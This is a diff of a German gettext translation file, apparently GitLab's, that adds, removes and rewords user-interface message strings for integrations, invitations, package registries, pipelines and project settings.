@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr "Lasse deine Nutzer an diese Adresse mailen"
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr "Verbinde Repositories von"
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
-msgstr "Verbessere Merge-Requests und den Kundensupport mit GitLab Enterprise Edition."
+msgid "Importing..."
+msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr "In Bearbeitung"
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr "Tickets können Bugs, Tasks oder zu diskutierende Ideen sein. Tickets si
msgid "Issues closed"
msgstr "Geschlossene Tickets"
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr "Dropdown-Menü für die Label-Aktionen"
msgid "Label lists show all issues with the selected label."
msgstr "Labellisten zeigen alle Tickets mit dem gewählten Label."
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr "Mehr Informationen"
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr "Prometheus-Monitoring mit GitLab verknüpfen."
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr "Beitragsstatistiken für Gruppenmitglieder laden"
@@ -18332,6 +18807,9 @@ msgstr "Alle Benachrichtigungen verwalten"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "Verwalte Anwendungen, die GitLab als OAuth-Anbieter verwenden können, und Anwendungen, die du zur Verwendung deines Kontos autorisiert hast."
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr "Verwalte Anwendungen, die du autorisiert hast dein Konto verwenden zu dürfen."
@@ -18371,6 +18849,9 @@ msgstr "Manifestdateiimport"
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr "Mitglieder"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr "Merge-Request"
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr "Merge-Request-Genehmigungen"
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr "Merge-Request-Genehmigungen ermöglichen dir, die Zahl der notwendigen Genehmigungen festzulegen und eine Liste von Genehmigungsberechtigten anzulegen, die jeden Merge-Request in einem Projekt genehmigen müssen."
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "Meilensteinlisten ist mit deiner momentanen Lizenz nicht verfügbar"
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr "Mehr"
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr "Name"
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr "Niemals"
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr "Neues Label"
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20218,7 +20708,7 @@ msgid "New Project"
msgstr ""
msgid "New Requirement"
-msgstr ""
+msgstr "Neue Anforderung"
msgid "New Snippet"
msgstr "Neuer Codeausschnitt"
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,8 +20974,8 @@ msgstr ""
msgid "No estimate or time spent"
msgstr "Weder Schätzung noch Zeitaufwand eingetragen"
-msgid "No file chosen"
-msgstr "Keine Datei ausgewählt"
+msgid "No file chosen."
+msgstr ""
msgid "No file hooks found."
msgstr "Keine Datei-Hooks gefunden."
@@ -20529,6 +21025,9 @@ msgstr "Keine Lizenz. Alle Rechte vorbehalten"
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr "Ups, bist du sicher?"
msgid "Open"
msgstr "Offen"
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,12 +21827,15 @@ msgstr "Seitenleiste öffnen"
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
-msgstr "Geöffnet"
+msgid "OpenAPI"
+msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
msgstr ""
+msgid "Opened"
+msgstr "Geöffnet"
+
msgid "Opened MRs"
msgstr ""
@@ -21329,6 +21848,9 @@ msgstr "Erstellt"
msgid "Opens in a new window"
msgstr "Wird in einem neuen Fenster geöffnet"
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr "Optionen"
msgid "Or you can choose one of the suggested colors below"
msgstr "Oder du wählst eine der unten vorgeschlagenen Farben"
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr "Conan-Befehl kopieren"
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr "Pakete"
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr "Commit"
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr "Bestehender Branchname oder Tag"
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr "Pipeline #%{pipelineId} stoppen?"
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr "Bitte akzeptiere die Nutzungsbedingungen, um fortzufahren."
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,12 +23186,12 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
-msgstr "Bitte löse das reCAPTCHA"
-
msgid "Please try again"
msgstr "Bitte erneut versuchen"
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr ""
@@ -22664,6 +23225,18 @@ msgstr "Pods im Einsatz"
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr "Priorisierte Labels"
msgid "Prioritized label"
msgstr "Priorisiertes Label"
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,8 +23693,8 @@ msgstr "Hat einen privaten Beitrag geleistet"
msgid "Profiles|Main settings"
msgstr "Haupteinstellungen"
-msgid "Profiles|No file chosen"
-msgstr "Keine Datei ausgewählt"
+msgid "Profiles|No file chosen."
+msgstr ""
msgid "Profiles|Notification email"
msgstr ""
@@ -23498,6 +24083,9 @@ msgstr "Du hast dein Projektlimit erreicht"
msgid "ProjectOverview|You must sign in to star a project"
msgstr "Du musst dich anmelden, um ein Projekt zu markieren"
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr "Projekt ID: %{project_id}"
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,8 +24275,8 @@ msgstr "Fehler beim Aktualisieren des Tags!"
msgid "ProjectSettings|Fast-forward merge"
msgstr "Fast-Forward-Merge"
-msgid "ProjectSettings|Fast-forward merges only"
-msgstr "Nur Fast-Forward-Merges"
+msgid "ProjectSettings|Fast-forward merges only."
+msgstr ""
msgid "ProjectSettings|Forks"
msgstr "Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
